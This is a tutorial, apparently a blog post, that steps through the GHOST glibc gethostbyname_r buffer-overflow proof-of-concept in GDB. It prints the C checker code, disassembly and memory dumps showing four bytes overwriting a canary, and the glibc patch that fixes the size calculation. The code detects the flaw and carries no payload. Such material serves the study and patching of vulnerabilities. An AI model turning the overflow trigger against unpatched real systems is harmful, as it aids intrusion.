In this post we will go over the GHOST PoC under a debugger. This will visually show how the buffer overflow condition is met.

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
	char buffer[1024];
	char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
	struct hostent resbuf;
        struct hostent *result;
	int herrno;
	int retval;

	/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
	size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
	char name[sizeof(temp.buffer)];
	memset(name, '0', len);
	name[len] = '\0';

	retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

	if (strcmp(temp.canary, CANARY) != 0) {
		puts("vulnerable");
		exit(EXIT_SUCCESS);
	}
	if (retval == ERANGE) {
		puts("not vulnerable");
		exit(EXIT_SUCCESS);
	}
	puts("should not happen");
	exit(EXIT_FAILURE);
}

Let me explain some of the above code. First we define a CANARY, “in_the_coal_mine”. This is our overwrite target. Next we define a struct, which consists of two chunks. These chunks represent a buffer that will be overflowed by the glibc gethostbyname_r function, and the data that comes after it (the CANARY). The first chunk is named “buffer” and its size is 1024 bytes, which is the size that will be passed to gethostbyname_r via the “buflen” argument. Following the “buffer” chunk is the CANARY chunk. By overflowing the “buffer” chunk into the CANARY chunk, we can confirm the PoC exploit works. Now that we have defined our struct representing the buffer for gethostname_r, the name char array is being initialized with 999 bytes of ASCII ‘0’ / HEX 0x30.

name
The name of the Internet host whose entry you want to find.
result
A pointer to a struct hostent where the function can store the host entry.
buffer
A pointer to a buffer that the function can use during the operation to store host database entries; buffer should be large enough to hold all of the data associated with the host entry. A 2K buffer is usually more than enough; a 256-byte buffer is safe in most cases.
buflen
The length of the area pointed to by buffer.
h_errnop
A pointer to a location where the function can store an herrno value if an error occurs.

Now, let’s see the binary under GDB debugger.

$ gdb -q ./GHOST 
Reading symbols from /home/student/GHOST...done.
(gdb) break main
Breakpoint 1 at 0x80484a2: file ghost.c, line 14.
(gdb) set disassembly-flavor intel
(gdb) run
Starting program: /home/student/GHOST 

Breakpoint 1, main () at ghost.c:14
14int main(void) {
(gdb) disas
Dump of assembler code for function main:
   0x08048494 <+0>:push   ebp
   0x08048495 <+1>:mov    ebp,esp
   0x08048497 <+3>:push   edi
   0x08048498 <+4>:push   esi
   0x08048499 <+5>:and    esp,0xfffffff0
   0x0804849c <+8>:sub    esp,0x450
=> 0x080484a2 <+14>:mov    eax,gs:0x14
   0x080484a8 <+20>:mov    DWORD PTR [esp+0x44c],eax
   0x080484af <+27>:xor    eax,eax
   0x080484b1 <+29>:mov    DWORD PTR [esp+0x44],0x3e7
   0x080484b9 <+37>:mov    eax,DWORD PTR [esp+0x44]
   0x080484bd <+41>:mov    DWORD PTR [esp+0x8],eax
   0x080484c1 <+45>:mov    DWORD PTR [esp+0x4],0x30
   0x080484c9 <+53>:lea    eax,[esp+0x4c]
   0x080484cd <+57>:mov    DWORD PTR [esp],eax
   0x080484d0 <+60>:call   0x80483c0 <memset@plt>
   0x080484d5 <+65>:lea    eax,[esp+0x4c]
   0x080484d9 <+69>:add    eax,DWORD PTR [esp+0x44]
   0x080484dd <+73>:mov    BYTE PTR [eax],0x0
   0x080484e0 <+76>:lea    eax,[esp+0x4c]
   0x080484e4 <+80>:lea    edx,[esp+0x40]
   0x080484e8 <+84>:mov    DWORD PTR [esp+0x14],edx
   0x080484ec <+88>:lea    edx,[esp+0x3c]
   0x080484f0 <+92>:mov    DWORD PTR [esp+0x10],edx
   0x080484f4 <+96>:mov    DWORD PTR [esp+0xc],0x400
   0x080484fc <+104>:mov    DWORD PTR [esp+0x8],0x804a040
   0x08048504 <+112>:lea    edx,[esp+0x28]
   0x08048508 <+116>:mov    DWORD PTR [esp+0x4],edx
   0x0804850c <+120>:mov    DWORD PTR [esp],eax
   0x0804850f <+123>:call   0x80483d0 <gethostbyname_r@plt>
   0x08048514 <+128>:mov    DWORD PTR [esp+0x48],eax
   0x08048518 <+132>:mov    edx,0x804a440
   0x0804851d <+137>:mov    eax,0x8048660
   0x08048522 <+142>:mov    ecx,0x11
   0x08048527 <+147>:mov    esi,edx
   0x08048529 <+149>:mov    edi,eax
   0x0804852b <+151>:repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)

Lines 24-28, are where memset initializes name char array with 999 bytes of ‘0’. Line 31, name char array is being null terminated. Lines 36-41, is where the arguments for gethostbyname_r are being pushed to the stack, right to left. After the gethostbyname_r function, on lines 44-49 is where strcmp confirms if the CANARY has been modified or not.
Let’s set a breakpoint before the gethostbyname function and inspect the temp stuct.

(gdb) break *main+123
Breakpoint 3 at 0x804850f: file ghost.c, line 25.
(gdb) c
Continuing.

Breakpoint 3, 0x0804850f in main () at ghost.c:25
25	  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
(gdb) disas
...
   0x080484f0 <+92>:	mov    DWORD PTR [esp+0x10],edx
   0x080484f4 <+96>:	mov    DWORD PTR [esp+0xc],0x400
   0x080484fc <+104>:	mov    DWORD PTR [esp+0x8],0x804a040
   0x08048504 <+112>:	lea    edx,[esp+0x28]
   0x08048508 <+116>:	mov    DWORD PTR [esp+0x4],edx
   0x0804850c <+120>:	mov    DWORD PTR [esp],eax
=> 0x0804850f <+123>:	call   0x80483d0 <gethostbyname_r@plt>
...
(gdb) print temp
$4 = {buffer = "buffer", '\000' <repeats 1017 times>, canary = "in_the_coal_mine"}
(gdb) 

(gdb) x/1024s 0x804a040
0x804a040 <temp>:	 "buffer"
0x804a047 <temp+7>:	 ""
0x804a048 <temp+8>:	 ""
...
...
...
0x804a43d <temp+1021>:	 ""
0x804a43e <temp+1022>:	 ""
0x804a43f <temp+1023>:	 ""
0x804a440 <temp+1024>:	 "in_the_coal_mine"

As you can see, the content of temp is of two buffers named “buffer” and “canary”. Content of Buffer is the name of the buffer “buffer” which is 6 bytes + 1017 bytes of ‘0’ characters + null terminating byte = 1024 bytes. CANARY starts at memory location 0x804a440 or 1024 bytes within the temp struct, and it’s content is as initialized “in_the_coal_mine”.
Now let’s move 1 instruction down, past the gethostbyname_r function and inspect the temp struct again.

(gdb) nexti
0x08048514	25	  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
(gdb) disas
Dump of assembler code for function main:
...
   0x080484f0 <+92>:	mov    DWORD PTR [esp+0x10],edx
   0x080484f4 <+96>:	mov    DWORD PTR [esp+0xc],0x400
   0x080484fc <+104>:	mov    DWORD PTR [esp+0x8],0x804a040
   0x08048504 <+112>:	lea    edx,[esp+0x28]
   0x08048508 <+116>:	mov    DWORD PTR [esp+0x4],edx
   0x0804850c <+120>:	mov    DWORD PTR [esp],eax
   0x0804850f <+123>:	call   0x80483d0 <gethostbyname_r@plt>
=> 0x08048514 <+128>:	mov    DWORD PTR [esp+0x48],eax
...
(gdb) print temp
$5 = {buffer = '\000' <repeats 16 times>, "@\240\004\b\000\000\000\000\000\000\000\000", '0' <repeats 996 times>, canary = "000\000he_coal_mine"}
(gdb) 
(gdb) x/1024s 0x804a040
0x804a040 <temp>:	 ""
0x804a041 <temp+1>:	 ""
...
...
0x804a05c <temp+28>:	 '0' <repeats 200 times>...
0x804a124 <temp+228>:	 '0' <repeats 200 times>...
0x804a1ec <temp+428>:	 '0' <repeats 200 times>...
0x804a2b4 <temp+628>:	 '0' <repeats 200 times>...
0x804a37c <temp+828>:	 '0' <repeats 199 times>
0x804a444 <temp+1028>:	 "he_coal_mine"

What this shows us is that now, the temp.buffer is 1028 bytes. 4 bytes from temp.buffer chunk has overflowed into the temp.canary chunk. If we inspect the 0x804a440 address, which use to be the start of the CANARY chunk, we should see the overflowed bytes followed by terminating null char.

(gdb) x/s 0x804a440
0x804a440 <temp+1024>:	 "000"
(gdb) 

The patch

As noted by Qualys in their report, the vulnerable code in the function is in nss/digits_dots.c. The patch mainly consists of adding 4 bytes to the size_needed object.

vi nss/digits_dots.c

From this:
  105:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name) + 1);

  277:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name) + 1);

To this:
  105:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name)
		+ sizeof (*h_alias_ptr) + 1);

  277:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name)
		+ sizeof (*h_alias_ptr) + 1);

This adds the 4 missed bytes that cause the overflow from the first chunk to the next chunk. Now if we add this to the calculation of the “size_t len” from the above PoC code, instead of 999 bytes the name char array buffer will be 995 and the overflow will not work.

Reference